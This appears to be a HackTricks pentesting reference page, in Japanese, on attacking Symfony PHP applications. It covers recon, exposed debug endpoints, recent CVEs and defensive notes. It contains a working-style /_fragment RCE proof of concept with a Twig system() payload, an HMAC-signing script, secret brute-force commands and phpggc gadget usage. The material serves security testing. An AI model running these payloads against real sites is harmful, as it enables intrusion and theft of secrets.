Symfony

Reading time: 8 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Symfonyは最も広く使用されているPHPフレームワークの1つで、企業、eコマース、CMSターゲット(Drupal、Shopware、Ibexa、OroCRM … すべてSymfonyコンポーネントを埋め込んでいます)の評価に定期的に登場します。このページでは、Symfonyアプリケーションを発見した際にチェックリストに加えるべき攻撃的なヒント、一般的な誤設定、最近の脆弱性をまとめています。

歴史的な注記:エコシステムの大部分は依然として5.4 LTSブランチ(EOL 2025年11月)を実行しています。多くの2023-2025年のセキュリティアドバイザリーはパッチリリースでのみ修正されるため、正確なマイナーバージョンを常に確認してください(例:5.4.46 → 5.4.50)。


Recon & Enumeration

Finger-printing

  • HTTPレスポンスヘッダー:X-Powered-By: SymfonyX-Debug-TokenX-Debug-Token-Linkまたはsf_redirectsf_sessionMOCKSESSIDで始まるクッキー。
  • ソースコードの漏洩(composer.jsoncomposer.lock/vendor/…)は、しばしば正確なバージョンを明らかにします:
bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Symfonyにのみ存在する公開ルート:
  • /_profiler (Symfony Profiler & デバッグツールバー)
  • /_wdt/<token>(“Web Debug Toolbar”)
  • /_error/{code}.{_format}(美しいエラーページ)
  • /app_dev.php/config.php/config_dev.php(4.0以前の開発フロントコントローラー)
  • Wappalyzer、BuiltWithまたはffuf/feroxbusterのワードリスト:symfony.txt/_fragment/_profiler.env.htaccessを探します。

興味深いファイルとエンドポイント

パス重要性
/.env/.env.local/.env.prod頻繁に誤ってデプロイされる → APP_SECRET、DBクレデンシャル、SMTP、AWSキーが漏洩
/.git.svn.hgソース開示 → 認証情報 + ビジネスロジック
/var/log/*.log/log/dev.logWebルートの誤設定がスタックトレースを露出
/_profiler完全なリクエスト履歴、設定、サービスコンテナ、APP_SECRET(≤ 3.4)
/_fragmentESI/HIncludeによって使用されるエントリポイント。APP_SECRETを知っていると悪用可能
/vendor/phpunit/phpunit/phpunitアクセス可能な場合、PHPUnit RCE(CVE-2017-9841)
/index.php/_error/{code}フィンガープリンティング & 時々例外トレースを漏洩

高影響脆弱性 (2023-2025)

1. APP_SECRET漏洩 ➜ /_fragment経由のRCE(別名“secret-fragment”)

  • CVE-2019-18889が元々ですが、デバッグが有効のままにされているか、.envが露出している場合、現代のターゲットでもまだ見られます。
  • 32文字のAPP_SECRETを知ると、HMACトークンを作成し、内部のrender()コントローラーを悪用して任意のTwigを実行します:
python
# PoC – シークレットが必要
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # TwigでのRCE
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • 優れた解説と悪用スクリプト:Ambionicsブログ(参考文献にリンク)。

2. Windowsプロセスハイジャック – CVE-2024-51736

  • Processコンポーネントは、WindowsでPATHの前に現在の作業ディレクトリを検索しました。攻撃者が書き込み可能なWebルートにtar.execmd.exeなどをアップロードし、Processをトリガーできると(例:ファイル抽出、PDF生成)、コマンド実行が可能になります。
  • 5.4.50、6.4.14、7.1.7でパッチ適用済み。

3. セッション固定 – CVE-2023-46733

  • 認証ガードがログイン後に既存のセッションIDを再利用しました。攻撃者が被害者が認証する前にクッキーを設定すると、ログイン後にアカウントをハイジャックします。

4. TwigサンドボックスXSS – CVE-2023-46734

  • ユーザー制御のテンプレート(管理CMS、メールビルダー)を公開するアプリケーションでは、nl2brフィルターがサンドボックスをバイパスし、JSを注入するために悪用される可能性があります。

5. Symfony 1ガジェットチェーン(レガシーアプリでまだ見つかる)

  • phpggc symfony/1 system idは、sfNamespacedParameterHolderなどのクラスでunserialize()が発生したときにRCEを引き起こすPharペイロードを生成します。ファイルアップロードエンドポイントとphar://ラッパーを確認してください。

PHP - Deserialization + Autoload Classes


悪用チートシート

/_fragmentのHMACトークンを計算する

bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

弱い APP_SECRET のブルートフォース

bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE via exposed Symfony Console

もし bin/consolephp-fpm または直接CLIアップロードを通じてアクセス可能であれば:

bash
php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

使用デシリアライズガジェットをキャッシュディレクトリ内で使用するか、次のリクエストで実行される悪意のあるTwigテンプレートを書きます。


防御的ノート

  1. デバッグを決してデプロイしない (APP_ENV=dev, APP_DEBUG=1); ウェブサーバーの設定で/app_dev.php/_profiler/_wdtをブロックします。
  2. 秘密情報はenv変数またはvault/secrets.local.phpに保存し、決してドキュメントルートを通じてアクセス可能なファイルには保存しないでください。
  3. パッチ管理を強制する – Symfonyのセキュリティアドバイザリーに登録し、少なくともLTSパッチレベルを維持します。
  4. Windowsで実行している場合は、CVE-2024-51736を軽減するために直ちにアップグレードするか、open_basedir/disable_functionsの防御層を追加します。

有用な攻撃ツール

  • ambionics/symfony-exploits – secret-fragment RCE、デバッガールートの発見。
  • phpggc – Symfony 1 & 2用の既製のガジェットチェーン。
  • sf-encoder_fragment HMACを計算するための小さなヘルパー(Go実装)。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする